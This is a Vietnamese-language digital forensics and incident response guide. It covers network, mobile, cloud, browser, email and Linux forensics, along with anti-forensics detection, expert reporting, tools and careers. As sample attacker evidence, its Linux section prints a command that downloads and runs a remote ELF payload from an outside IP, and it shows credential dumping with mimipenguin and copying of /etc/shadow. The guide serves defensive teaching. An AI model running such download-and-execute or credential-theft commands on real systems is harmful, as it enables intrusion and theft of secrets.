7. Pháp chứng mạng

Gói tin, flow và log - tái dựng điều đã xảy ra trên đường truyền.

Pháp chứng mạng giám sát và phân tích lưu lượng để thu thập chứng cứ, phát hiện xâm nhập và điều tra sự cố. Pháp chứng endpoint tập trung vào điều xảy ra **trên** thiết bị; pháp chứng mạng tập trung vào điều xảy ra **giữa** các thiết bị: liên lạc, truyền dữ liệu, đường xâm nhập và lateral movement. Chứng cứ mạng thường khó bị kẻ tấn công xóa hơn artefact endpoint.

7.1. Nguồn chứng cứ mạng

Nguồn	Giá trị pháp chứng
Full Packet Capture - PCAP	Ghi từng byte truyền đi, chi tiết tối đa nhưng tốn dung lượng.
NetFlow/IPFIX	Metadata nguồn, đích, cổng, số byte và thời gian; nhẹ hơn PCAP.
Firewall Logs	Quyết định allow/deny, vi phạm chính sách và thử exfiltration bị chặn.
Proxy/Web Gateway	URL truy cập, tệp tải xuống và dữ liệu POST của HTTP/HTTPS.
DNS Logs	Mọi domain được phân giải, hữu ích để phát hiện C2, tải mã độc và hành vi duyệt web.
DHCP Logs	Lịch sử cấp IP, liên kết IP với MAC và hostname.
VPN Logs	Xác thực truy cập từ xa, IP nguồn, thời lượng và dung lượng truyền.
IDS/IPS Alerts	Cảnh báo Snort/Suricata, Zeek notice và chữ ký tấn công.
Email Server Logs	Chuyển phát, từ chối, lọc spam, IP nguồn và xác thực người gửi.
Zeek/Bro Logs	Log theo giao thức: conn.log, dns.log, http.log, ssl.log, files.log, x509.log.

7.2. Wireshark/TShark và Zeek

Các mục tiêu phổ biến khi phân tích PCAP:

- Lọc IP, domain, cổng và giao thức đáng ngờ.
- Follow TCP/HTTP stream để tái dựng phiên.
- Trích xuất tệp được truyền qua HTTP, SMB hoặc FTP.
- Phát hiện beacon định kỳ, DGA và kết nối kéo dài bất thường.
- Tương quan PCAP với DNS, firewall và endpoint timeline.

Một domain gần giống tên chính thức như update.microsoft-cdn.cc cần được xem xét như dấu hiệu typosquatting. Beacon đều đặn mỗi 60 giây là chỉ báo mạnh của C2 tự động.

7.3. Tái dựng dòng thời gian mạng

Ví dụ chuỗi sự kiện:

Nguồn	Sự kiện
DNS	192.168.1.45 truy vấn a1b2c3d4.evil-c2-domain.xyz.
Firewall	Kết nối 192.168.1.45:49234 -> 185.220.101.47:4444.
HTTP	Tải GET /payload.exe, kích thước 2,3 MB về máy nạn nhân.
Proxy/SMB	Máy bị nhiễm thử kết nối SMB đến 192.168.1.67.
Firewall	Truyền ra ngoài 47 MB đến 45.133.240.89:443.
DNS	892 NXDOMAIN với subdomain ngẫu nhiên của malware-domain.tk, gợi ý DGA.
Firewall	Thử kết nối 192.168.1.10:445, có thể là lateral movement đến Domain Controller.

8. Pháp chứng thiết bị di động

iOS, Android và kỹ thuật trích xuất chứng cứ từ thiết bị bị khóa.

Đây là một trong những mảng thay đổi nhanh nhất do cập nhật hệ điều hành, mã hóa và lượng dữ liệu khổng lồ trên điện thoại. iOS và Android hiện đại mã hóa bộ nhớ mặc định; bản dump vật lý có thể vô dụng nếu không có passcode hoặc khóa giải mã.

8.1. Nguồn chứng cứ di động

Nguồn	Giá trị
SMS/MMS	Người gửi, người nhận, nội dung, dấu thời gian và trạng thái đã đọc.
Ứng dụng nhắn tin mã hóa	Dữ liệu cục bộ và đôi khi có trong cloud backup.
Nhật ký cuộc gọi	Cuộc gọi đến, đi, nhỡ, thời điểm và thời lượng.
Vị trí	GPS, trạm phát sóng, Wi-Fi positioning và dữ liệu ứng dụng.
Ảnh/video	EXIF gồm GPS, thời gian, model thiết bị và thông số camera.
Trình duyệt	URL, cache, nội dung biểu mẫu và tải xuống.
Email	Cơ sở dữ liệu cục bộ, tệp đính kèm và cấu hình tài khoản.
Dữ liệu ứng dụng	Ngân hàng, mạng xã hội, bản đồ và nhiều ứng dụng chuyên biệt.
Cloud backup	Có thể chứa dữ liệu cũ đã không còn trên thiết bị.
Wi-Fi/Bluetooth	Mạng đã kết nối và thiết bị đã ghép đôi, hỗ trợ suy luận vị trí và quan hệ.
Dữ liệu sức khỏe	Bước chân, nhịp tim, giấc ngủ; có thể củng cố hoặc bác bỏ lời khai.

8.2. Mức độ trích xuất

Phương pháp	Độ sâu
-------------	--------

Phương pháp	Độ sâu
Kiểm tra thủ công	Chụp màn hình; mức thấp nhất, chỉ phù hợp ghi nhận nhanh.
Logical Extraction	Dựa trên backup/API, ví dụ iTunes hoặc ADB; nhanh nhưng không đầy đủ.
Advanced Logical	Dùng developer mode hoặc giao thức như AFC để lấy thêm dữ liệu.
File System Extraction	Dump toàn bộ hệ thống tệp, thường cần jailbreak/root hoặc exploit.
Physical Extraction	Bản sao bit-for-bit của flash, có thể gồm dữ liệu đã xóa; cần exploit hoặc chip-off.
Chip-off	Tháo chip flash và đọc trực tiếp, phù hợp thiết bị hư hỏng nặng.
JTAG	Truy cập cổng debug phần cứng để vượt một số lớp bảo vệ phần mềm.

8.3. iOS với iLEAPP

```
python3 iphone-backup-decrypter.py \
-p 'backup_password' \
-b ~/Library/Application\ Support/MobileSync/Backup/UDID/ \
-o /home/the_cyber_bite/cases/CASE001/ios_decrypted/

python3 iLEAPP.py -t fs \
-i /home/the_cyber_bite/cases/CASE001/ios_decrypted/ \
-o /home/the_cyber_bite/cases/CASE001/ileapp_report/
```

Có thể trích xuất iMessage, cuộc gọi, lịch sử vị trí, ảnh có GPS, WhatsApp và lịch sử Safari.

8.4. Android với ALEAPP

```
adb backup -apk -all -shared \
-f /home/the_cyber_bite/cases/CASE001/android_backup.ab

# Giải nén backup kiểu cũ
# dd if=android_backup.ab bs=24 skip=1 | python3 ... | tar x
```

```
python3 ALEAPP.py -t fs \
-i /home/the_cyber_bite/cases/CASE001/android_extracted/ \
-o /home/the_cyber_bite/cases/CASE001/aleapp_report/
```

ALEAPP có thể phân tích SMS/MMS, cuộc gọi, WhatsApp, lịch sử Chrome và Google Timeline.

8.5. EXIF - chứng cứ từ ảnh

```
exiftool /home/the_cyber_bite/cases/CASE001/evidence_photo.jpg
exiftool -csv -GPS:all /home/the_cyber_bite/cases/CASE001/photos/ > gps_data.csv
```

Ví dụ EXIF có thể cho biết tọa độ, độ cao, thời gian tạo, hãng máy, model camera và phiên bản phần mềm. Tuy nhiên, EXIF có thể bị sửa hoặc bị xóa, vì vậy phải tương quan với nguồn khác.

Mẹo chuyên viên: Đặt điện thoại vào túi Faraday ngay khi thu giữ để ngăn remote wipe. Nếu không có túi Faraday, cần nhắc bật airplane mode theo quy trình của đơn vị, nhưng phải ghi nhận mọi thao tác vì thao tác trực tiếp có thể làm thay đổi chứng cứ.

9. Pháp chứng đám mây

Thu thập chứng cứ từ AWS, Azure, Microsoft 365, Google Workspace và dịch vụ lưu trữ đám mây.

Pháp chứng đám mây liên quan đến dữ liệu trên IaaS, PaaS và SaaS. Khó khăn chính gồm chứng cứ phân tán qua nhiều khu vực pháp lý, tài nguyên có tính tạm thời, log có thời gian lưu ngắn và việc thu thập thường phụ thuộc vào API hoặc thủ tục pháp lý với nhà cung cấp.

9.1. Nguồn chứng cứ theo nền tảng

Nguồn	Giá trị pháp chứng
AWS CloudTrail	Ghi API call, danh tính người gọi, IP, thời gian và tham số.
AWS VPC Flow Logs	Metadata luồng mạng nội bộ và Internet trong AWS.
AWS S3 Access Logs	Truy cập object: đọc, ghi, xóa và danh tính thực hiện.
AWS GuardDuty Findings	Phát hiện tự động như cryptomining, credential theft và C2.
Azure Activity Log	Tạo/xóa tài nguyên, thay đổi cấu hình VM và thao tác quản trị.
Azure Sign-In Logs	Đăng nhập người dùng và service principal, IP và thiết bị.
Microsoft Unified Audit Log	Hoạt động M365 trên Exchange, SharePoint, OneDrive và Teams.
Google Workspace Audit	Hoạt động Admin, Drive, Gmail, Calendar và Meet.
GCP Cloud Audit Logs	Admin activity, data access và system event trên GCP.
SaaS Backup	Có thể giữ dữ liệu sau khi dữ liệu gốc trên cloud đã bị xóa.

9.2. Microsoft 365 - Unified Audit Log

```
Connect-ExchangeOnline -UserPrincipalName admin@company.com
```

```
Search-UnifiedAuditLog \
-StartDate '2026-01-14' \
-EndDate '2026-01-15' \
```

```
-Operations 'FileAccessed','FileCopied','FileDownloaded','SendEmail' \
-ResultSize 5000 | Export-Csv audit_log.csv
```

Một số phát hiện điển hình:

```
FileDownloaded: suspect@company.com tải payroll.xlsx từ SharePoint
FileCopied: 342 tệp được sao chép sang OneDrive cá nhân trong 3 phút
SearchQueryInitiated: tìm "salary", "personal data", "customer list"
InboxRuleAdded: chuyển tiếp toàn bộ email sang Gmail bên ngoài
UserLoggedIn: đăng nhập từ Tor exit node lúc 03:42
```

9.3. AWS CloudTrail

```
aws athena start-query-execution --query-string "
SELECT eventTime, userIdentity.arn, eventName,
    sourceIPAddress, requestParameters
FROM cloudtrail_logs
WHERE eventTime BETWEEN '2026-01-14' AND '2026-01-15'
AND errorCode IS NULL
ORDER BY eventTime"
```

Ví dụ:

```
2026-01-14T22:38Z user/suspect GetSecretValue 185.220.101.47
2026-01-14T22:40Z user/suspect S3:GetObject x847 185.220.101.47
2026-01-14T22:44Z user/suspect CreateUser 185.220.101.47
```

Cần nhắc pháp lý: Điều tra cloud thường cần preservation order, subpoena hoặc quy trình yêu cầu dữ liệu của nhà cung cấp. Nên gửi yêu cầu bảo toàn sớm vì log có thể bị xóa tự động sau 30-90 ngày hoặc theo chính sách tenant.

10. Pháp chứng trình duyệt và email

Lịch sử web, tệp tải xuống, credential đã lưu và header email.

10.1. Dấu vết trình duyệt

Artefact	Nội dung
History	Mọi URL đã truy cập, thời gian và số lần truy cập, thường nằm trong SQLite.
Downloads	URL nguồn, tên tệp, thời điểm và đường dẫn đích.
Cookies	Session token, tùy chọn website và tracking; có thể chứng minh truy cập khi history đã bị xóa.
Cache	Bản sao hình ảnh, HTML và JavaScript đã xem.
Form Data/Autofill	Tên, địa chỉ, email và dữ liệu đã nhập một phần vào biểu mẫu hoặc ô tìm kiếm.
Saved Passwords	Credential trong password manager, thường được mã hóa theo cơ chế hệ điều hành.
Session Restore	Tab đang mở ở phiên gần nhất.
Favicons	Có thể giữ dấu vết website sau khi lịch sử bị xóa.
Typed URLs	URL người dùng tự gõ, khác với liên kết được nhấp.

Vị trí hồ sơ Chrome

Windows: C:\Users\[user]\AppData\Local\Google\Chrome\User Data\Default\
Linux: ~/.config/google-chrome/Default/
macOS: ~/Library/Application Support/Google/Chrome/Default/

Truy vấn cơ sở dữ liệu History

```
sqlite3 History "  
SELECT datetime(last_visit_time/1000000-11644473600, 'unixepoch'),  
url, visit_count, title
```

```
FROM urls
ORDER BY last_visit_time DESC
LIMIT 50;"
```

Khi sao chép cơ sở dữ liệu đang được trình duyệt sử dụng, cần thu thập cả tệp WAL/SHM hoặc dùng bản sao snapshot để tránh bỏ lỡ giao dịch chưa checkpoint.

10.2. Phân tích header email

Header Received được đọc từ dưới lên trên để tái dựng đường đi. Phải kiểm tra đồng thời SPF, DKIM và DMARC.

```
Received: from mail.evil-attacker.com (185.220.101.47)
by mx.company.com with ESMTP
for <ceo@company.com>;
```

Authentication-Results:

```
spf=fail
dkim=permerror
dmarc=fail
```

Kết quả trên cho thấy email không vượt qua cơ chế xác thực và có khả năng là email giả mạo. Không nên kết luận chỉ dựa vào một trường vì phần header do người gửi kiểm soát có thể bị giả; ưu tiên các dòng do máy chủ tin cậy thêm vào.

10.3. PST/OST của Outlook

Vị trí thường gặp:

```
C:\Users\[user]\AppData\Local\Microsoft\Outlook\
C:\Users\[user]\Documents\Outlook Files\
```

Phân tích PST/OST có thể phục hồi thư, lịch, danh bạ, tệp đính kèm, thư đã xóa và cấu trúc thư mục. Các công cụ thường dùng gồm readpst, libpff, Autopsy, FTK, EnCase và Magnet AXIOM.

11. Phân tích dòng thời gian và Super Timeline

Tương quan mọi artefact thành một câu chuyện theo thời gian.

Timeline analysis kết hợp timestamp từ nhiều nguồn thành một trình tự duy nhất: hệ thống tệp, Registry, Event Log, trình duyệt, Prefetch, Shimcache, mạng và nhiều nguồn khác. Khi tất cả sự kiện được đặt trên cùng trục thời gian, chuỗi tấn công và điểm bất thường trở nên rõ ràng hơn.

11.1. Tạo Super Timeline bằng Plaso

```
log2timeline.py \
--parsers 'win7_slow,sqlite,winreg,winevtx,prefetch,lnk,firefox_history,chrome_history' \
/home/the_cyber_bite/cases/CASE001/case001.plaso \
/home/the_cyber_bite/cases/CASE001/evidence.E01

psort.py -o dynamic \
-w /home/the_cyber_bite/cases/CASE001/super_timeline.csv \
--slice '2026-01-14T22:30:00' \
--slice_size 60 \
/home/the_cyber_bite/cases/CASE001/case001.plaso
```

Lọc sự kiện liên quan:

```
grep -i 'mimikatz\|payload.exe\|185.220.101.47\|cmd.exe\|4444' \
super_timeline.csv | sort -k1,1
```

Ví dụ trình tự:

```
22:37:58 Chrome History: truy cập /payload.exe
22:38:00 NTFS MFT: tạo Downloads\payload.exe
22:38:14 Prefetch: payload.exe chạy lần đầu
22:40:55 Event 4688: explorer.exe tạo cmd.exe
22:41:02 Event 4688: cmd.exe tạo mimikatz.exe
22:41:15 NTFS MFT: tạo C:\Windows\Temp\loot.txt
22:44:18 Network: kết nối 45.133.240.89:443
```

11.2. Phát hiện timestomping

Kỹ thuật timestomping sửa dấu thời gian để che giấu thứ tự hoạt động. Dấu hiệu gồm:

- \$STANDARD_INFORMATION khác đáng kể với \$FILE_NAME.
- Tất cả giá trị MACB giống nhau chính xác đến từng giây.
- Tập có timestamp trước ngày cài hệ điều hành hoặc ngoài khoảng hoạt động hợp lý.
- Event Log, Prefetch hoặc browser history mâu thuẫn với timestamp tệp.

Cảnh báo chống pháp chứng: \$FILE_NAME thường do hệ điều hành cập nhật và khó bị công cụ user-mode sửa đồng bộ. Bất nhất giữa hai bộ timestamp phải được ghi rõ trong báo cáo, nhưng không nên tự động coi đó là bằng chứng duy nhất của hành vi ác ý.

12. Pháp chứng Linux

ext4, auditd, bash history, cron và /proc - dấu vết trên Linux.

Linux là hệ điều hành máy chủ chủ đạo, thường xuất hiện trong cloud, web server, container và IoT. Dấu vết rất phong phú nhưng được tổ chức khác Windows.

12.1. Vị trí chứng cứ quan trọng

Vị trí	Nội dung
/etc/passwd	Tài khoản, UID, GID, home và shell.
/etc/shadow	Password hash, chỉ root đọc; phát hiện tài khoản bị sửa hoặc tạo.
/etc/cron.d/, crontab	Scheduled task persistence.
/etc/rc.local, /etc/init.d/	Persistence khi khởi động kiểu cũ.
~/.bash_history	Lệnh người dùng; thường là thứ đầu tiên kẻ tấn công xóa.
~/.ssh/authorized_keys	Public key SSH; vị trí backdoor không cần mật khẩu.
/var/log/auth.log, /var/log/secure	SSH, sudo, xác thực và thay đổi tài khoản.
/var/log/syslog, /var/log/messages	Sự kiện hệ thống tổng quát.
/var/log/apache2/, nginx/httpd logs	HTTP request và payload tấn công trong URL/body.
/proc/	Dữ liệu kernel trực tiếp: tiến trình, kết nối và memory map.
/tmp, /var/tmp, /dev/shm	Vị trí mã độc thường thả tệp.
~/.bashrc, ~/.profile	Lệnh chạy khi mở shell/đăng nhập.

Mount ảnh chỉ đọc:

```
sudo mount -o ro,noexec,noatime,loop,offset=$((2048*512)) \
evidence.E01 /mnt/evidence/
```

Tìm tệp thay đổi trong khoảng thời gian:

```
find /mnt/evidence/ \
-newermt '2026-01-14 22:00:00' \
-not -newermt '2026-01-14 23:00:00' \
-type f 2>/dev/null | grep -v '/proc|/sys|/run'
```

Ví dụ phát hiện:

```
/tmp/.hidden_dir/backdoor.sh      NEW
/etc/cron.d/system_maintenance    NEW
/home/www-data/.ssh/authorized_keys  MODIFIED
```

Bash history có thể lộ chuỗi tấn công:

```
wget http://185.220.101.47/shell.elf -O /tmp/.s && chmod +x /tmp/.s && /tmp/.s &
./mimipenguin -d
cat /etc/shadow > /tmp/shadow_copy
```

Nếu history trên đĩa đã bị xóa, tìm chuỗi trong ảnh RAM:

```
strings memory.raw | grep -A2 -B2 'bash_history|history -c' | head -40
```

12.2. Cơ chế persistence trên Linux

Cơ chế	Dấu hiệu
Cron Jobs	Mục mới trong /etc/cron.d, /etc/crontab hoặc /var/spool/cron.
systemd Service	Tệp .service mới trong /etc/systemd/system.
SSH Authorized Keys	Key được thêm vào ~/.ssh/authorized_keys.
/etc/ld.so.preload	Nạp shared library trước mọi chương trình, kỹ thuật rootkit nguy hiểm.
.bashrc/.profile	Lệnh độc hại chạy mỗi lần mở shell hoặc đăng nhập.

Cơ chế	Dấu hiệu
SUID Binary	Tệp SUID do người dùng bất thường sở hữu, hỗ trợ leo thang quyền.
PAM Module	Thư viện PAM bị thay đổi để chấp nhận mật khẩu bất kỳ.
rc.local	Script khởi động kiểu cũ.
At Jobs	Tác vụ chạy một lần trong /var/spool/at.
LD_PRELOAD	Tiêm thư viện ở cấp tiến trình thông qua biến môi trường.

13. Kỹ thuật chống pháp chứng

Kẻ tấn công cố che giấu như thế nào và chuyên viên vẫn tìm ra dấu vết ra sao.

Chống pháp chứng (anti-forensics) bao gồm các kỹ thuật nhằm cản trở, đánh lạc hướng hoặc phá hủy quá trình điều tra số. Hiểu các kỹ thuật này giúp nhận biết khi chúng đã được sử dụng và xây dựng phương pháp đối phó. Bản thân hành vi che giấu thường để lại dấu vết có giá trị pháp chứng.

13.1. Phân loại kỹ thuật

Nhóm	Ví dụ và mục tiêu
Phá hủy dữ liệu	Secure deletion, wipe ổ đĩa, khử từ, phá hủy vật lý.
Che giấu dữ liệu	Steganography, Alternate Data Streams, mã hóa tệp và phân vùng ẩn.
Thao túng metadata	Timestomping, đổi tên và thay đổi thuộc tính/hash.
Thao túng log	Xóa Windows Event Log, xóa bash history và sửa syslog.
Mã hóa	Full-disk encryption hoặc container mã hóa nhằm ngăn truy cập nếu không có khóa.
Làm rối	Packing, encoding và steganography trong liên lạc để che mã độc hoặc dữ liệu.
Che giấu nguồn - Trail Laundering	Tor, VPN, proxy, Wi-Fi công cộng hoặc hệ thống bên thứ ba bị chiếm quyền.
Giả mạo	MAC/IP spoofing và giả timestamp để tạo danh tính sai.
Gây nhiễu	Flood log, tạo nhiều tệp tương tự hoặc cố tình đánh lạc hướng.
Chống phân tích	Phát hiện sandbox, debugger hoặc VM để ngăn phân tích mã độc.

13.2. Phát hiện và đối phó

Dấu hiệu	Cách phát hiện
Secure deletion	srm/shred có thể để lại mẫu trong slack space; SSD TRIM làm giảm khả năng phục hồi nhưng không phải lúc nào cũng xóa đồng bộ mọi bản sao.
Timestomping	So sánh \$STANDARD_INFORMATION và \$FILE_NAME; bắt nhất là dấu hiệu thao túng.
Event Log bị xóa	Event ID 1102 ghi lại việc xóa Security Audit Log.
Bash history bị xóa	Kiểm tra RAM bằng Volatility; \$HISTFILE=/dev/null cũng là một phát hiện.
Container mã hóa	VeraCrypt/TrueCrypt có thể vẫn hiện diện trên đĩa dù không đọc được; phân tích header và mount history.
Alternate Data Streams	Kiểm tra thuộc tính \$DATA trong MFT và dùng dir /r.
Steganography	Thử kiểm định thống kê, so sánh kích thước bất thường và công cụ steganalysis.
Log flooding	Flooding tự tạo ra mẫu bất thường về tần suất và khối lượng log.

Phát hiện xóa Event Log

```
python3 vol.py -f memory.raw windows.evtxlogs
```

```
wevtutil qe Security "/q:[System[(EventID=1102)]]"
```

Ví dụ:

```
2026-01-14T22:46:01 EventID 1102: Security audit log was cleared
OperatorName: suspect\Administrator
```

Phát hiện NTFS Alternate Data Streams

```
dir /r /s C:\Users\suspect\
```

Ví dụ:

```
# C:\Users\suspect\tax_return.pdf:hidden_data:$DATA [8.2 MB]
```

```
Get-Content -Path 'C:\Users\suspect\tax_return.pdf' \
-Stream 'hidden_data' > hidden_data.bin
```

```
file hidden_data.bin
```

Cảnh báo chống pháp chứng: Event ID 1102 thường được ghi trước khi log bị xóa, nên đây là chỉ báo rất có giá trị. Tương tự, history -c có thể xóa history hiện hành nhưng dữ liệu vẫn tồn tại trong RAM cho đến khi tiến trình kết thúc. Trong sự cố đang diễn ra, ưu tiên thu thập bộ nhớ sớm.

14. Viết báo cáo và làm chứng chuyên gia

Truyền đạt phát hiện kỹ thuật cho thẩm phán, bồi thẩm đoàn, luật sư và lãnh đạo doanh nghiệp.

Phân tích kỹ thuật hoàn hảo vẫn có thể vô dụng nếu báo cáo không rõ ràng hoặc chuyên viên không thể bảo vệ phương pháp khi bị thẩm vấn chéo. Kỹ năng viết và trình bày phải được phát triển song song với kỹ năng kỹ thuật.

14.1. Cấu trúc báo cáo pháp chứng

1. **Tóm tắt điều hành:** Tổng quan không kỹ thuật cho người ra quyết định; điều gì xảy ra, phát hiện gì và kết luận chính.
2. **Bối cảnh vụ việc:** Vấn đề, đơn vị yêu cầu, phạm vi kiểm tra và căn cứ pháp lý.
3. **Chứng cứ tiếp nhận:** Danh mục đầy đủ, mô tả, serial, hash và ngày nhận.
4. **Phương pháp pháp chứng:** Tên/phiên bản công cụ, cách thu thập, bước xác minh và chiến lược phân tích.
5. **Phát hiện kỹ thuật:** Tìm thấy gì, ở đâu, khi nào và ý nghĩa của nó.
6. **Dòng thời gian:** Tái dựng sự kiện theo thứ tự thời gian dựa trên chứng cứ.
7. **Kết luận:** Chứng cứ cho thấy điều gì, với mức độ tin cậy phù hợp và không suy đoán.
8. **Phụ lục:** Dữ liệu thô, hash, đầu ra công cụ và biểu mẫu chuỗi lưu giữ.

14.2. Nguyên tắc viết

- **Khách quan:** Nêu điều chứng cứ thể hiện, không viết điều bạn “tin” đã xảy ra. Tách sự kiện quan sát được khỏi diễn giải.
- **Đầy đủ:** Ghi cả kết quả âm tính và thứ không tìm thấy.
- **Chính xác:** Dùng timestamp đầy đủ kèm múi giờ, đường dẫn chính xác và hash đầy đủ.
- **Có thể tái lập:** Chuyên viên đủ năng lực phải có thể xác minh kết quả bằng cùng chứng cứ và phương pháp.
- **Ngôn ngữ dễ hiểu:** Giải thích khái niệm kỹ thuật theo cách người không chuyên có thể hiểu.
- **Ngôn ngữ có điều kiện:** Dùng “cho thấy”, “phù hợp với”, “gợi ý” khi mức chắc chắn còn giới hạn.
- **Truy nguồn:** Ghi rõ công cụ, artefact và timestamp tạo ra từng phát hiện.

- **Định dạng:** Hash, đường dẫn và lệnh dùng font monospace; timestamp ưu tiên ISO 8601 với UTC.

14.3. Tiêu chuẩn nhân chứng chuyên gia

Tiêu chuẩn	Yêu cầu
Daubert Standard - Hoa Kỳ	Phương pháp phải có thể kiểm thử, được phản biện, có tỷ lệ sai số biết được và được chấp nhận trong ngành.
Civil Procedure Rules - Vương quốc Anh	Nghĩa vụ của chuyên gia là với tòa án, không phải bên thuê mình; có thể ưu tiên chuyên gia chung.
Năng lực	Học vấn, đào tạo, kinh nghiệm và công bố liên quan; thẩm phán quyết định tư cách.
Độc lập	Tự hình thành ý kiến, không đóng vai người biện hộ cho bên yêu cầu.
Cơ sở ý kiến	Phải giải thích được nền tảng của mọi kết luận, không dựa vào “hộp đen”.
Thẩm vấn chéo	Sẵn sàng để phương pháp bị chất vấn và hiểu giới hạn công cụ.
Phạm vi chuyên môn	Chỉ đưa ý kiến trong lĩnh vực có năng lực, không suy đoán ngoài chuyên môn.

Cân nhắc pháp lý: Nhân chứng chuyên gia phải độc lập nghiêm ngặt. Báo cáo phải giống nhau dù được yêu cầu bởi bên công tố, bào chữa, nguyên đơn hay bị đơn. Điều chỉnh ý kiến để có lợi cho bên thuê có thể dẫn đến mất tư cách nghề nghiệp và hậu quả pháp lý.

15. Danh mục công cụ DFIR

Các công cụ thiết yếu, chức năng và tình huống sử dụng.

15.1. Thu thập và tạo ảnh

Công cụ	Công dụng
FTK Imager	GUI/CLI trên Windows; tạo ảnh E01, DD, AFF và xác minh hash.
dcfldd	Phiên bản dd tăng cường có MD5/SHA-256 tích hợp.
ewfacquire	Tạo ảnh E01 trên Linux, thuộc gói libewf.
WinPmem	Thu thập RAM Windows, miễn phí, xuất RAW.
LiME	Linux Memory Extractor dạng kernel module, phù hợp hệ thống Linux đang chạy.
Magnet RAM Capture	GUI thu thập RAM Windows, thao tác nhanh tại hiện trường.
Cellebrite UFED	Thu thập thiết bị di động, chuẩn thương mại cho physical extraction.

15.2. Phân tích ổ đĩa

Công cụ	Công dụng
Autopsy	GUI miễn phí: hệ thống tệp, từ khóa, timeline, carving và phân tích artefact.
X-Ways Forensics	Thương mại, nhanh, gọn, hex editor mạnh và xử lý nhiều vụ việc.
The Sleuth Kit - TSK	Bộ CLI mmls, fls, icat, fsstat, blkls cho phân tích mức thấp.
FTK	Lập chỉ mục toàn văn, giải mã và quản lý vụ việc doanh nghiệp.
Eric Zimmerman Tools	MFTECmd, PECmd, LECmd, RECmd, AppCompatCacheParser và nhiều parser Windows.
Foremost/Scalpel	File carving từ vùng chưa cấp phát trên Linux.

Công cụ	Công dụng
PhotoRec	Phục hồi/carving đa nền tảng, hỗ trợ hàng trăm loại tệp.

15.3. Phân tích bộ nhớ

Công cụ	Công dụng
Volatility 3	Framework Python với nhiều plugin cho tiến trình, injection, mã độc, Registry và mạng.
Volatility 2	Bản cũ; vẫn hữu ích với ảnh bộ nhớ cũ hoặc plugin chưa chuyển sang v3.
Rekall	Fork của Volatility do Google phát triển; có một số plugin riêng nhưng ít được duy trì hơn.
MemProcFS	Mount memory dump thành hệ thống tệp/ổ đĩa ảo, tốc độ cao.
bulk_extractor	Quét RAM hoặc đĩa để tìm email, URL, số thẻ và mẫu hash.

15.4. Timeline và artefact

Công cụ	Công dụng
Plaso/log2timeline	Tạo Super Timeline từ hơn 50 loại artefact.
Timesketch	Phân tích timeline cộng tác trên web, dùng đầu ra Plaso.
RegRipper	Parser Registry với nhiều plugin chuyên dụng.
AppCompatCacheParser	Trích xuất Shimcache, hỗ trợ lịch sử thực thi chương trình.
AmcacheParser	Phân tích Amcache.hve.
WxTcmd	Phân tích Windows Timeline/ActivitiesCache, hỗ trợ tương quan sự kiện.
KAPE	Thu thập có mục tiêu và triage nhanh artefact từ hệ thống live/dead.

15.5. Mạng và log

Công cụ	Công dụng
---------	-----------

Công cụ	Công dụng
Wireshark/TShark	Phân tích PCAP, dissect giao thức, follow stream và trích xuất tệp.
Zeek	Chuyển PCAP thành log có cấu trúc như conn, dns, http, ssl, files.
NetworkMiner	Tái dựng phiên, trích xuất tệp và credential từ PCAP.
Suricata	IDS/IPS và NSM; xuất EVE JSON cho SIEM.
Chainsaw	Triage EVTX nhanh, hỗ trợ Sigma và CLI.
Hayabusa	Phân tích Windows Event Log, Sigma và tạo timeline.
RITA	Phân tích log Zeek để phát hiện beacon, DGA và kết nối kéo dài.

15.6. Di động và đám mây

Công cụ	Công dụng
Cellebrite UFED/Physical Analyzer	Thu thập và phân tích di động thương mại.
Oxygen Forensic Detective	Phân tích di động, cloud, IoT và dữ liệu mạng xã hội.
iLEAPP	Parser miễn phí cho log, event và plist iOS.
ALEAPP	Parser miễn phí cho artefact Android.
Hindsight	Parser lịch sử trình duyệt Chrome, Firefox, Safari và Edge dựa trên SQLite.
HAWK	Bộ công cụ pháp chứng Microsoft 365 và Unified Audit Log.
CloudQuery	Thu thập dữ liệu API hạ tầng AWS, Azure và GCP.

16. Nghề nghiệp, chứng chỉ và lộ trình học tập

Từ người mới bắt đầu đến chuyên gia DFIR.

16.1. Lộ trình chứng chỉ

Chứng chỉ/khóa học	Trọng tâm
CompTIA Security+	Nền tảng an toàn thông tin và khái niệm pháp chứng; điều kiện phổ biến cho vị trí đầu vào.
BTL1/BTL2	Blue Team Labs, thực hành SOC và DFIR với lab trực tiếp.
CEH	Khái niệm ethical hacking và pháp chứng cơ bản; được nhiều bộ phận HR nhận biết.
eJPT	Chứng chỉ thực hành đầu vào có một số nội dung điều tra.
GCFE	Pháp chứng Windows, chứng chỉ DFIR chuyên dụng có uy tín.
GCFA	Pháp chứng nâng cao, bộ nhớ, mã độc và artefact phức tạp.
GCIH	Incident response và xử lý sự cố, phù hợp đội DFIR.
EnCE	Chứng chỉ EnCase, thường gặp trong thực thi pháp luật và môi trường thương mại.
Cellebrite CCPA	Pháp chứng di động và physical extraction.
FOR500	SANS Windows Forensic Analysis.
FOR508	SANS Advanced DFIR, Threat Hunting và Memory.
FOR572	SANS Advanced Network Forensics.

16.2. Vai trò nghề nghiệp và mức lương tham khảo trong tài liệu gốc

Các con số sau là mức USD được tài liệu nguồn ghi cho năm 2026; thị trường, quốc gia, kinh nghiệm và loại hình doanh nghiệp có thể làm mức thực tế khác đáng kể.

Vai trò	Phạm vi công việc và mức tham khảo
DFIR Analyst - Junior	Điều tra SOC, xử lý alert và pháp chứng cơ bản: 60.000-90.000 USD.
DFIR Analyst - Senior	Toàn bộ vòng đời sự cố, kiểm tra pháp chứng và làm việc với khách hàng: 90.000-140.000 USD.
Forensic Examiner	Chứng cứ đạt chuẩn tòa án, nhân chứng chuyên gia và quản lý vụ việc phức tạp: 85.000-150.000 USD.
Incident Response Lead	Điều phối nhiều khách hàng, lãnh đạo đội và thông báo vi phạm: 120.000-185.000 USD.
Threat Intelligence Analyst	Theo dõi chiến dịch, attribution, sản xuất intelligence và tích hợp DFIR: 95.000-165.000 USD.
DFIR Consultant	Tư vấn ứng phó khẩn cấp và đánh giá sau sự cố: 130.000-220.000 USD trở lên.
CISO/Head of DFIR	Lãnh đạo chương trình, chiến lược và quản lý đội: 180.000-300.000 USD trở lên.

16.3. Tài nguyên xây dựng phòng lab

Tài nguyên	Công dụng
SIFT Workstation	VM miễn phí của SANS, bộ công cụ pháp chứng Linux hoàn chỉnh.
Flare VM	Môi trường Windows phân tích mã độc của Mandiant, hỗ trợ SIFT.
DetectionLab	Lab Windows domain và ELK dựa trên Vagrant/Packer.
Digital Corpora	Ảnh vụ việc thực hành hợp pháp để rèn kỹ năng.
DFIR.training	Tài nguyên, thử thách và bài tập DFIR miễn phí được tuyển chọn.
